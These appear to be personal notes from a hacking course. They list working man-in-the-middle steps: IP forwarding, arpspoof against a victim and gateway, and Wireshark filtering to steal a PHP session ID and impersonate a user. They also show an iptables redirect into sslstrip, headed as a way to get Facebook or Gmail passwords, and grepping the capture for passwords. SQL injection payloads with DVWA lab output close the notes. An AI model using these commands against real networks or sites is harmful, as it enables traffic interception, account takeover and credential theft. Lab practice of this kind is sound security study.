Man in the middle on Kali:
run this command
echo 1 > /proc/sys/net/ipv4/ip_forward
- we poisoned the route.
- now we need to make the client believe that we our MAC address belongs to the gateway. We will be routing the packets to the Internet!
#nmap -sP 192.168.43.0/24
Find out the gateway:
#netstat -r //-r for routing
- we get 192.168.43.2
Start Wireshark for eth0
http.request.full_uri matches "/member/dashboard.php"
We find the PHPSessionsID through Wireshark by following the TCP stream
Then in the browser we use the Add-On "Web Developer" and we add the phpsessionid to our browser in order to impersonate the other user.
Refresh the screen
###########
008 Intercept and access traffic over HTTPS. Get Facebook or Gmail Passwords
Activate the routing:
echo 1 > /proc/sys/net/ipv4/ip_forward
We will trick the victim to send us the traffic:
arpspoof -i eth0 -t 172.16.36.133 172.16.36.2
We need to redirect the traffic from port 80 to 1234:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --TO-PORT 1234
wE WILL CAPTURE THE TRAFFIC TO A FILE WITH sslstrip:
sslstrip -l 1234 -s -w traffic.log
When the victim browses websites and authenticates, we can view the traffic.log to view passwords.
cat traffic.log
#cat traffic.log | grep "&Passwd"
##############
SQL Injection:
'
' or 1=1;#
//
' and 1=1 union select database(), version()#
First name: dvwa
Surname: 5.1.41
Thoughts, backup of reads and liked courses, dumping grounds, references, old scripts, etc.